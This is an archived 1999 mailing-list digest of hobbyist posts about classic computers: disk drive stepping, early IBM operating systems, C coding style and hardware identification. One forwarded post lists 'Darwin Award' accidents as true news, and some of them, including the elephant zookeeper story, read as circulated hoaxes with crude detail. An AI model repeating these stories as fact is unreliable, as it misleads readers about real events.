halftrack (recall > that Commodore disks are 48 tpi, not 96), then BUMPs out and back, tries to > read the sector, tries to read the half-track again, BUMPs out and back, and > so on, until it reaches a flag value stored in drive RAM, at which point it > declares the error. Very noisy, and the drive light flashes randomly during > this process. Basicly the same on the Apple - just with a bigger problem: The Disk ][ did 4 steps for every track, so quater tracks, and wrong positioning by a quater of a track was possible. With some drives the read signal was still readable a quater track aside, so you could end up with a somewhat working disk where some tracks where maladjusted - a horror when exchanging. Later on this was also used as copy protection, to shift tracks - And there was also a programm that modified DOS to write tracks closer (only 3 steps). Of course completely incompatible, and _very_ drive and disk quality dependant. Gruss H. -- Ich denke, also bin ich, also gut HRK From drbilling at ucdavis.edu Fri Jan 15 14:34:33 1999 From: drbilling at ucdavis.edu (Dean Billing) Date: Sun Feb 27 18:40:09 2005 Subject: Stupid CP/M question Message-ID: <199901152034.MAA12441@pop2.ucdavis.edu> At 08:03 PM 1/15/99 +1, you wrote: > ... >> The first hard disk was made by IBM around 1956, and I assume it didn't >> take them much longer to write a DOS for it, but I don't know when they >> did or what it was called. > >Didn't they already use the term DOS ? The first commercially available IBM disk system was the IBM 305 RAMAC, but I believe the disk was just a peripheral device like a tape drive, not a system disk like we view it today. There certainly was no operating system stored on the disk and I doubt they even stored a program on the disk. It was pretty small electronically although it was physically huge, and incredibly slow because it only had one read/write head that had to be moved from disk platter to disk platter. Since all IBM computers of the era, the 700's and 7000's were punch card fed machines, the programs were stored on punched cards and loaded each time they were to be run. Tape drives held intermediate results and input and output data, but not programs. At some point the the 7000 series life I believe there was a primitive "Tape Operating System", or TOS, developed so that once a program was debugged, the compiled binary version could be stored on tape, and a punch card "IPL" program could read that tape, load the program and then the machine would continue on just as if it had read the program from punched cards. After the 305 RAMAC was designed, a disk drive that I believe was called the 2305 was developed and it was hooked to the 7000 series machines. At some time around 1964 IBM coupled a 2305 to a 7044 which had a Direct Couple interface to a 7094 and used the 7044 to stage and control program loading on the 7094. A primitive "DOS" was developed called IBSYS, but all it did was que programs and data on the disk to be run on the 7094, one program at a time. This greatly minimized operator setup time and kept the very expensive 7094 humming. I don't think it was until the delivery of the S/360, in the 1968 time frame, that IBM had an operating system that they called DOS, but maybe there is an IBM expert in the group that could comment. -- db =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Dean Billing Phone: 530-752-5956 UC Davis FAX: 530-752-6363 IT-CR EMAIL: drbilling@ucdavis.edu One Shields Way Davis, CA 95616 From kurtkilgor at bigfoot.com Fri Jan 15 15:31:42 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:09 2005 Subject: Computers for children (soldering) Message-ID: <199901152137.NAA25600@geocities.com> > Nowadays, of course, it's difficult to > get many of the books or raw materials we used back in the Sixties. Actually, I have a small packet on how to build a 'sugar rocket', which I ordered for something like $20 a few years ago. I never built anything, but sometime, I ought to try. The same company also has a full-blown book on making rocket engines. From kurtkilgor at bigfoot.com Fri Jan 15 15:36:58 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:09 2005 Subject: PS/2 Mouse drivers Message-ID: <199901152137.NAA25685@geocities.com> Does anyone here know where I can get drivers for using a PS/2 mouse with DOS programs like a normal serial mouse? ---------------------------------------------------------------------------- ----- Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor From pete at dunnington.u-net.com Fri Jan 15 16:00:21 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:09 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: "Sean 'Captain Napalm' Conner" "OT? On Programming (was: Re: Computers for children)" (Jan 16, 3:05) References: <199901160807.DAA24863@armigeron.com> Message-ID: <9901152200.ZM1527@indy.dunnington.u-net.com> On Jan 16, 3:05, Sean 'Captain Napalm' Conner wrote: > > Remember, C has a goto statement, although I don't think in my nearly 10 > > years of C programming I've ever used it, although on certain rare > > occasions it seemed the easy way out to a sticky coding problem. I think I've used it once -- and then removed it again. > Perhaps it's my own biases here (coming with 9 years of solid C coding) > but if you have more than one conditional test in an `if' or `while' > statment, you may be doing something wrong. Also, if you're so deeply > nested that you need a `goto' to get out of trouble, then again, you may be > doing something wrong. If you are nested about four levels deep in a > function, you may be doing something wrong. Don't be afraid to use lots of > functions, each doing one thing and one thing only. This applies to any > language really. This is definitely off-topic (who was that said I was single-minded?) but for a fine example of bletcherousness, try the source to the pine mailer (here also known as pain, or Pain In Neck Email). Find the 70K source file that handles the main mail stuff, and try 'grep goto' - and watch three or four screenfulls scroll by. All in one function (the 70K file is almost all one function). -- Pete Peter Turnbull Dept. of Computer Science University of York From kurtkilgor at bigfoot.com Fri Jan 15 17:00:32 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:09 2005 Subject: OT? On Programming (was: Re: Computers for children) Message-ID: <199901152301.PAA17123@geocities.com> > This is definitely off-topic (who was that said I was single-minded?) but > for a fine example of bletcherousness, try the source to the pine mailer > (here also known as pain, or Pain In Neck Email). Find the 70K source file > that handles the main mail stuff, and try 'grep goto' - and watch three or > four screenfulls scroll by. All in one function (the 70K file is almost > all one function). Besides for this example, what do you feel is wrong with PINE? What do you prefer? I would like to know since I'm an inexperienced Linux user, and this is on-topic since PINE is over 10 years old. From mcquiggi at sfu.ca Fri Jan 15 17:01:36 1999 From: mcquiggi at sfu.ca (Kevin McQuiggin) Date: Sun Feb 27 18:40:09 2005 Subject: micropolis 1355 In-Reply-To: <19990115164533.AAA3024@p2350> from "emanuel stiebler" at Jan 15, 99 09:44:50 am Message-ID: <199901152301.PAA05501@fraser.sfu.ca> Hi Emanual: Another common problem that causes these symptoms is a spindle brake that does not retract fully. This is easily fixable. Just remove the large circuit board from the underside of the drive, and locate the solenoid that pulls the spindle brake back whenever the drive is powered. It's a cylinder about 1/2" by 1.5" long. Note that when you power up the drive the solenoid pulls the little brake lever back out of the way of the spindle. Likely it doesn't pull it back far enough in your case! This causes the brake to never disengage, the spindle can't get up to a constant speed, and this cuases the drive to spin down and reset. Then the same thing happens. So, loosen the little set screw that holds the solenoid in place and slide it back about a millimeter, so that the brake doesn't contact the spindle when the drive is powered up. Tighten the screw, replace the large circuit board, and you're in business. I've fixed two sick RD53s this way, both still run fine a couple of years later. Let me know how it works out, Kevin -- Kevin McQuiggin VE7ZD mcquiggi@sfu.ca From tomowad at earthlink.net Fri Jan 15 17:17:18 1999 From: tomowad at earthlink.net (Tom Owad) Date: Sun Feb 27 18:40:09 2005 Subject: Questions on today's acquisitions Message-ID: <199901152316.PAA07621@gull.prod.itd.earthlink.net> Made a few purchases today, and have questions on them all: HP 150 with an HP 9133 expansion chassis. Anybody know what kind of keyboard this takes? It has a 6 prong telephone style connector. Texas Instruments Compact Computer 40. This is a lot like the TRS-80 PC-4 in appearance, but a bit bigger. It has BASIC in ROM and a connector for cartridges. Is there anything actually useful for this? THe keyboards too small to do any actual word processing. MPP-1150 Parallel Printer Interface by Supra Corporation. This has a parallel connector on the one end and a strange 13 pin connector which looks something like this: _______ |_______| /_______\ on the other end. Does anybody know what computer this goes to? And lastly, I have a single IC in a bag labeled "printer". The chip says "NEC RI8739-I35 D2332C 374". Does anybody know what this is? Anybody want it? Tom Owad -- Sysop of Caesarville Online Client software at: From sinasohn at ricochet.net Fri Jan 15 17:16:39 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:09 2005 Subject: Direct Neuro Coupling (was: Computers for children (soldering)) Message-ID: <3.0.16.19990115133029.4a5f4ea8@ricochet.net> At 10:10 PM 1/14/99 -0600, you wrote: >I guarantee that some time in the future, an alternative pathway will be: > computer =electrical impulse=> brain > >and you won't be able to tell the difference. Check out James Hogan's Bug Park (not the first book to use the idea, just the most recent I've read, and one of my two favorite authors.) Obcc: Hogan used to be a salesrep(?) for DEC and his books include fairly realistic computers and such, and kinda obviously DEC. (And, iirc, Apple II's in earlier books?) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Fri Jan 15 17:16:41 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:09 2005 Subject: Which comes first? Message-ID: <3.0.16.19990115133556.4a5753cc@ricochet.net> I was talking wiht another programmer recently and we considered the question of whether science drives science fiction, or vice-versa. I think that while it probably goes both ways, to some extent, the real pathway is: Science Fiction --> Research Labs --> Consumer Electronics --> Science Fiction. An example that comes to mind is a story I read (can't remember what or who, but perhaps Hogan?) wherein a character sat down and unrolled the screen of his powerbook 9999. I just read (Microtimes?) that someone has come up with a flexible LCD screen which may be used at some point in such a device. I'm not sure what this has to do with classic computers, but I decided to post it anyway. Lot less off-topic than some stuff lately. 8^) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Fri Jan 15 17:16:43 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:09 2005 Subject: biofeedback (was: Computers for children (soldering)) Message-ID: <3.0.16.19990115133743.4a57b010@ricochet.net> At 09:49 PM 1/14/99 -0700, you wrote: >> ObCC: I seem to recall somebody producing a biofeedback device for the > >Ooo... now THERE would be a cool thing to get my hands on... anyone know >anything about these or have one gathering dust? There was also one for the 8-bit ataris and (iirc) TRS-80's (Cocos?). --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Fri Jan 15 17:16:44 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:09 2005 Subject: Computers for children (soldering) Message-ID: <3.0.16.19990115135020.4a57fafc@ricochet.net> At 12:13 AM 1/15/99 -0500, you wrote: >Well, in grades 6-8 I was playing with exolosives. My friend and I >were interested in rockets, but we couldn't afford the Estes kits. [...] >a couple of burns, so did my partner, we were lucky because we didn't >always follow the rules that well -- making rocket fuel out of sugar When I was a kid (back before I learned that detectives didn't always escape to catch the bad guys like in the Hardy Boys) I had a book about a texas P.I. named (iirc) J.J.Armes. He was ironically named because as a boy he lost both hands while playing with dynamite. While I definitely understand the benefits of first-hand experience, I don't think I'd want any kids I know to have eyesight like mine just so they can learn for themselves. Part of the value of intelligence is that past experiences can be shared. Your 8-year-old doesn't need to get a soldering iron scar -- you can show her yours, and hopefully, that will be good enough for her. btw, something I find amusing is the idea that some folks have here that if it ain't the way it was done when they were kids, then by gummit, it just ain't no good. In some cases, that may very well be true. You won't find a vehicle available on the market today that can compare with my 40 year old Land Rover. But on the other hand, it's not stock either. It's got GPS, onboard laptop, wireless internet connection, dual batteries, chevy engine, overdrive, etc. Similarly, there's nothing wrong with books, but to say that's the only way to learn to read is like saying that newsletters should be hand-typed and reproduced on (what was it?) spiritusumdruckers! That guy on TV that builds things with only homemade tools is interesting, but I don't see too many contractors working that way. >(But I nowadays know enough first principals to get or make many of >the raw materials we used to buy at the drugstore, potassium nitrate >and several of its chemical cousins being among the main things our Why does this frighten me, Ward? 8^) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Fri Jan 15 17:16:47 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:09 2005 Subject: Computers for children Message-ID: <3.0.16.19990115141143.4a57cc5e@ricochet.net> At 11:37 PM 1/14/99 -0800, you wrote: >I've never seen a "BY" modifier although I wouldn't doubt that some BASIC >could have been designed with it. But are you sure you didn't mean >"STEP"? Okay, so I've been doing COBOL too long... 8^) Yes, in BASIC it's STEP. Same idea as COBOL's BY option. (In COBOL it would be PERFORM VARYING variable BY inc FROM start UNTIL variable IS GREATER THAN end (I think -- it's not a common usage of the Perform verb.)) >and while loops (I rarely use for's), but C really suffers from a lack of >a general error trapping mechanism that one can invoke to break out of >loops as required. Sometimes I think goto's are the answer but I can >never find an appropriate way to implement it. errflag := 0 /* is it := in C to assign a value? */ DO WHILE variable < end AND errflag = 0 { do stuff variable++ /* I think that increments a variable */ IF error THEN errflag := 1 ENDIF LOOP IF errflag = 1 THEN do error processing ENDIF No, I'm not a C programmer (nor do I play one on TV). --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From sinasohn at ricochet.net Fri Jan 15 17:16:49 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:09 2005 Subject: Fanware Message-ID: <3.0.16.19990115143720.4987617e@ricochet.net> At 07:15 PM 1/15/99 +1, you wrote: >> > BTW: Are there some people collecting merchandise/advertizeing >> > gimicks of the computer age ? [...] >Well, not exactly what I asked (but glad about every saved flyer). >My question was more about all the other stuff - T-Shirts, umbrellas, >tie needls, watches, keyholder, cups, ..... Well... There are advertising collectibles, and I'm sure they go after computer stuff too (the ones that go for newer stuff.) My brother (the ElderPutz) collects such things (one of his hobbies is going to conventions/trade shows to get all the freebies) and after I got into the business decided he wanted to be too (not being good at anything else either) so he fancies himself a techie and thus has a lot of high-tech ad stuff. He's now a tech writer and has finally been able to hold down a job for more than 18months. Anyway, if you want to, you can contact the jerk at . (If it sounds like I don't like him, a big part of the reason is that he's decided that Oakland is too far away from San Francisco for him to visit his dad. For referenec, The VCF in Santa Clara is three times as far away from SF. Can't even be bothered to call. (And those that were at VCF got a chance to meet my dad -- not the most spry fellow, but a nice guy.)) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From pctech at davidbowie.com Fri Jan 15 17:18:01 1999 From: pctech at davidbowie.com (PCTech) Date: Sun Feb 27 18:40:09 2005 Subject: Commodore 1541 on ebay for $8500.00 Message-ID: <000f01be40dd$4d4266e0$e5c7adce@pctech.davidbowie.com> You gotta go see this i cant believe it $8500.00 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/bc04610c/attachment.html From ckaiser at oa.ptloma.edu Fri Jan 15 17:30:02 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:09 2005 Subject: Questions on today's acquisitions In-Reply-To: <199901152316.PAA07621@gull.prod.itd.earthlink.net> from "Tom Owad" at Jan 15, 99 06:17:18 pm Message-ID: <199901152330.PAA14664@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 699 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/699badb1/attachment.ksh From kurtkilgor at bigfoot.com Fri Jan 15 17:23:26 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:09 2005 Subject: Questions on today's acquisitions Message-ID: <199901152326.PAA05986@geocities.com> > Texas Instruments Compact Computer 40. This is a lot like the TRS-80 > PC-4 in appearance, but a bit bigger. It has BASIC in ROM and a > connector for cartridges. Is there anything actually useful for this? > THe keyboards too small to do any actual word processing. I have one of these too. TI supposedly made a thermal printer, an RS-232 interace, and a 70KB tape drive, which would plug in to the six-pin BERG connector on the back, next to the power jack. I use it as a programmable scientific calculator. From ard at p850ug1.demon.co.uk Fri Jan 15 13:09:08 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:09 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: <199901151030.KAA15220@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 15, 99 11:31:34 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1680 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/51fad8e1/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 15 12:42:25 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:09 2005 Subject: Computers for children (soldering) In-Reply-To: from "Doug Yowza" at Jan 14, 99 09:38:36 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1598 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/80883d1c/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 15 12:46:10 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:09 2005 Subject: Computers for children (soldering) In-Reply-To: <199901150449.VAA32432@calico.litterbox.com> from "Jim Strickland" at Jan 14, 99 09:49:47 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 985 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/b7526c2c/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 15 13:17:10 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:09 2005 Subject: Apple Centronics (was: TI99: Re: SCSI devices) In-Reply-To: <199901151257.MAA21694@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 15, 99 01:58:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1020 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/6c5243e1/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 15 12:50:38 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:09 2005 Subject: Computers for children (soldering) In-Reply-To: <199901150544.XAA13069@wildride.netads.com> from "Miles O'Neal" at Jan 14, 99 11:44:05 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 622 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/2ba03ff4/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 15 12:54:11 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:09 2005 Subject: Computers for children In-Reply-To: <199901150614.WAA01126@gull.prod.itd.earthlink.net> from "dave dameron" at Jan 14, 99 10:14:40 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 640 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/62a0c552/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 15 13:25:38 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:09 2005 Subject: micropolis 1355 In-Reply-To: <19990115164533.AAA3024@p2350> from "emanuel stiebler" at Jan 15, 99 09:44:50 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1493 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/a5b61246/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 15 12:59:00 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:09 2005 Subject: Computers for children (soldering) In-Reply-To: <199901150714.CAA05531@mail.cgocable.net> from "jpero@cgocable.net" at Jan 15, 99 02:16:13 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 698 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/f253f054/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 15 13:29:17 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:09 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: <199901160807.DAA24863@armigeron.com> from "Sean 'Captain Napalm' Conner" at Jan 16, 99 03:05:59 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 683 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/de3b8ffd/attachment.ksh From rigdonj at intellistar.net Fri Jan 15 19:02:12 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:09 2005 Subject: OT: humans are the most advanced form of life- Yeah Right!! Message-ID: <3.0.1.16.19990115190212.3b675894@intellistar.net> I know this is OT but it's too good to miss! Joe > >They have finally been released! For anyone not familiar with the Darwin >Award: it's an annual honor given to the person who provided the universal >human gene pool the biggest service by getting killed in the most >extraordinarily stupid way. As always, competition this year has been keen >again. Some candidates appear to have trained their whole lives for this >event! > >1998 DARWIN AWARD CANDIDATES: > 1. In September in Detroit, a 41-year-old man got stuck and drowned in >two feet of water after squeezing head first through an 18-inch-wide sewer >grate to retrieve his car keys. > 2. In October, a 49-year-old San Francisco stockbroker, who "totally >zoned when he ran," according to his wife, accidentally jogged off a >200-foot-high cliff on his daily run. > 3. Buxton, NC: A man died on a beach when an 8-foot-deep hole he had >dug into the sand caved in as he sat inside it. Beachgoers said Daniel >Jones, 21, dug the hole for fun, or protection from the wind, and had been >sitting in a beach chair at the bottom Thursday afternoon when it collapsed, >burying him beneath 5 feet of sand. People on the beach on the outer banks, >used their hands and shovels, trying to claw their way to Jones, a resident >of Woodbridge, VA, but could not reach him. It took rescue workers using >heavy equipment almost an hour to free him while about 200 people looked on. >Jones was pronounced dead at a hospital. > 4. In February, Santiago Alvarado, 24, was killed in Lompoc, CA, as he >fell face-first through the ceiling of a bicycle shop he was burglarizing. >Death was caused when the long flashlight he had placed in his mouth (to >keep his hands free) rammed into the base of his skull as he hit the floor. > 5. According to police in Dahlonega, GA, ROTC cadet Nick Berrena, 20, >was stabbed to death in January by fellow cadet Jeffrey Hoffman, 23, who was >trying to prove that a knife could not penetrate the flakvest Berrena was >wearing. > 6. Sylvester Briddell, Jr., 26, was killed in February in Selbyville, >DE, as he won a bet with friends who said he would not put a revolver loaded >with four bullets into his mouth and pull the trigger. > 7. In February, according to police in Windsor, Ontario, Daniel Kolta, >27, and Randy Taylor, 33, died in a head-on collision, thus earning a tie in >the game of chicken they were playing with their snowmobiles. > 8. In September, a 7-year-old boy fell off a 100-foot-high bluff near >Ozark, AR, after he lost his grip swinging on a cross that marked the spot >where another person had fallen to his death in 1990. > >1998 DARWIN AWARD HONORABLE MENTIONS: > 1. In Guthrie, OK, in October, Jason Heck tried to kill a millipede >with a shot from his 22-caliber rifle, but the bullet ricocheted off a rock >near the hole and hit pal Antonio Martinez in the head, fracturing his >skull. > 2. In Elyria, OH, in October, Martyn Eskins, attempting to clean out >cobwebs in his basement, declined to use a broom in favor of a propane torch >and caused a fire that burned the first and second floors of his house. > 3. Paul Stiller, 47, was hospitalized in Andover Township, NJ, in >September, and his wife Bonnie was also injured, by a quarter-stick of >dynamite that blew up in their car. While driving around at 2 AM, the bored >couple lit the dynamite and tried to toss it out the window to see what >would happen, but they apparently failed to notice that the window was >closed. > 4. Taking "Amateur Night" Too Far: In Betulia, Colombia, an annual >festival in November includes five days of amateur bullfighting. This year >no bull was killed, but dozens of matadors were injured including one gored >in the head and one Bobbittized. Said one participant, "It's just one bull >against [a town of] a thousand morons." > >SOME MORE ALSO RANS: > 1. Four people were injured in a string of related bizarre accidents. >Sherry Moeller was admitted with a head wound caused by flying masonry, Tim >Vegas was diagnosed with a mild case of whiplash and contusions on his >chest, arms and face, Bryan Corcoran suffered torn gum tissue, and Pamela >Klesick's first two fingers of her right hand had been bitten off. Moeller >had just dropped her husband off for his first day of work and, in addition >to a good-bye kiss, she flashed her breasts at him. "I'm still not sure why >I did it," she said later "I was really close to the car, so I didn't think >anyone would see. Besides, it couldn't have been for more than two >seconds." However, cab driver Vegas did see and lost control of his cab, >running over the curb and into the corner of the Johnson Medical Building. >Inside, Klesick, a dental technician,was cleaning Corcoran's teeth. The >crash of the cab against the building made her jump, tearing Corcoran's gums >with a cleaning pick. In shock, he bit down, severing two fingers from >Klesick's hand. Moeller's wound was caused by a falling piece of the >medical building. > 2. Taos, NM: A woman went to a poison control center after eating >three birth-control vaginal inserts. Her English was so bad she had to draw >a picture describing how she believed she had poisoned herself. A translator >arrived shortly thereafter and confirmed the doctors' suspicions. Marie >Valishnokov thought the inserts were some kind of candy or gum, being unable >to read the foil wrappers. After the third one, she realized something was >wrong when her throat and mouth began to fill with a sour-tasting foam. She >ran for the Poison Control Center, only a few blocks away where doctors were >able to flush the foam from her mouth, throat and stomach with no ill >effects. > 3. La Grange, GA: Attorney Antonio Mendoza was released from a trauma >center after having a cell phone removed from his rectum. "My dog drags the >thing all over the house," he said later. "He must have dragged it into the >shower. I slipped on the tile, tripped against the dog and sat down right >on the thing." The extraction took more than three hours due to the fact >that the cover to Mr. Mendoza's phone had opened during insertion. "He was >a real trooper during the entire episode," said Dr. Dennis Crobe. "Tony >just cracked jokes and really seemed to be enjoying himself. Three times >during the extraction his phone rang and each time, he made jokes about it >that just had us rolling on the floor. By the time we finished, we really >did expect to find an answering machine in there." > 4. Tacoma, WA: Kerry Bingham, had been drinking with several friends >when one of them said they knew a person who had bungee-jumped from the >Tacoma Narrows Bridge in the middle of traffic. The conversation grew more >heated and at least 10 men trooped along the walkway of the bridge at 4:30 >am. Upon arrival at the midpoint of the bridge they discovered that no one >had brought the bungee rope. Bingham, who had continued drinking, >volunteered and pointed out that a coil of lineman's cable lay nearby. One >end of the cable was secured around Bingham's leg and the other end was tied >to the bridge. His fall lasted 40 feet before the cable tightened and tore >his foot off at the ankle. Miraculously, he survived his fall into the icy >river water and was rescued by two nearby fishermen. "All I can say," said >Bingham, "is that God was watching out for me on that night. There's just >no other explanation for it." Bingham's foot was never located. > 5. Bremerton, WA: Christopher Coulter and his wife, Emily, were >engaging in bondage games when Christopher suggested spreading peanut butter >on his genitals and letting Rudy, their Irish Setter, lick them clean. >Sadly, Rudy lost control and began tearing at Christopher's penis and >testicles. Rudy refused to obey commands and a panicked Emily threw a >half-gallon bottle of perfume at the dog. The bottle broke, covering the >dog and Christopher with perfume. Startled, Rudy leaped back, tearing away >the penis. While trying to get her unconscious husband in the car to take >him to the hospital, Emily fell twice, injuring her wrist and ankle. >Christopher's penis was in a styrofoam ice cooler. "Chris is just plain >lucky," said the surgeon who spent eight hours reattaching the penis. >"Believe it or not, the perfume turned out to be very fortuitous. The high >alcohol content, which must have been excruciatingly painful, helped >sterilize the wound. Also, aside from it being removed, the damage caused >by the dog's teeth to the penis per se is minimal. It's really a very >stringy piece of flesh. Mr. Coulter stands an excellent chance of regaining >the use of his limb because of this." Washington Animal Control has no plans >to seize Rudy. > >AND THE WINNER: >Paderborn, Germany: Overzealous zookeeper, Friedrich Riesfeldt, fed his >constipated elephant, Stefan, 22 doses of animal laxative and more than a >bushel of berries, figs and prunes before the plugged-up pachyderm finally >let fly and suffocated the keeper under 200 pounds of poop! Investigators >say ill-fated Friedrich, 46, was attempting to give the ailing elephant an >olive-oil enema when the relieved beast unloaded on him like a dump truck >full of mud. "The sheer force of the elephant's unexpected defecation >knocked Mr. Riesfeldt to the ground, where he struck his head on a rock and >lay unconscious as the elephant continued to evacuate his bowels on top of >him," said flabbergasted Paderborn police detective Erik Dern. "With no one >there to help him, he lay under all that dung for at least an hour before a >watchman came along, and during that time he suffocated. It seems to be >just one of those freak accidents that happen." > > From lwalker at mail.interlog.com Fri Jan 15 10:22:53 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:09 2005 Subject: Apple Calmpute In-Reply-To: <369F7532.598C4ED6@rain.org> Message-ID: <199901152332.SAA13064@smtp.interlog.com> On 15 Jan 99 at 9:04, Marvin wrote: > Doug Yowza wrote: > > > > ObCC: I seem to recall somebody producing a biofeedback device for the > > Apple ][ in the early 80's that would let you control some computerstuff > > via a galvanic sensor. > > I think you are talking about the Calmpute from HesWare. It is advertised > as a Biofeedback Stress Reduction Program and has a picture lf Leonard Nimoy > on the cover. Basically, the unit looks like a mouse except instead of > buttons, it has two metalic plates where your fingers rest against. The > software is for teh Apple II+ and Apple //e. > > Who was HesWare ? I have a couple of Vic20 cartridges by them and IIRC there were some C64 cartridges. They seemed to avoid the games and more exploitive software in favor of things like there Vic20 Monitor program. ciao larry lwalker@interlog.com From lwalker at mail.interlog.com Fri Jan 15 10:22:52 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:09 2005 Subject: Almost OT: How can that be? In-Reply-To: <3.0.1.32.19990115012137.00994100@mail.30below.com> References: <199901160455.XAA23660@armigeron.com> Message-ID: <199901152332.SAA13059@smtp.interlog.com> On 15 Jan 99 at 1:21, Roger Merchberger wrote: > First off, this isn't wholly off-topic... there *is* a Perl interpreter for > the Atari ST's... ;-) > That I hadn't heard about. What is it's name and where is it available. It seems that the ST is getting up from under it's dark days when it only had the dreadful minux version from TAF to browse and now browsers and mailers are coming thick and fast. Maybe time to get a Milan. Here's a "classic" machine still kicking. SNIP > I find it interesting that a CoCo guy is also an ST devotee. I seem to remember hearing that OS9 was also ported to the ST. Any sources ? > Keep on Truckin', > Roger "Merch" Merchberger > ===== ciao larry lwalker@interlog.com From lwalker at mail.interlog.com Fri Jan 15 10:22:55 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:09 2005 Subject: Computer paint jobs (was Re: SOL feeding frenzy?) In-Reply-To: <01BE292B.311BF180@slip-32-100-187-195.oh.us.ibm.net> Message-ID: <199901152332.SAA13110@smtp.interlog.com> On 16 Dec 98 at 18:04, Barry A. Watzman wrote: > This may or may not be a description of your situation, but when I worked at Heath/Zenith, we bought "Gold" floppy disk drives directly from the manufacturers of the drives (Shugart, Tandon, etc.) th> > Barry Watzman > > Ah , now I remember the name, now that I can read it without the frustration of HTML. I have seen you in the Zenith newsgroups. Good to have you on-board. There are several collectors that have 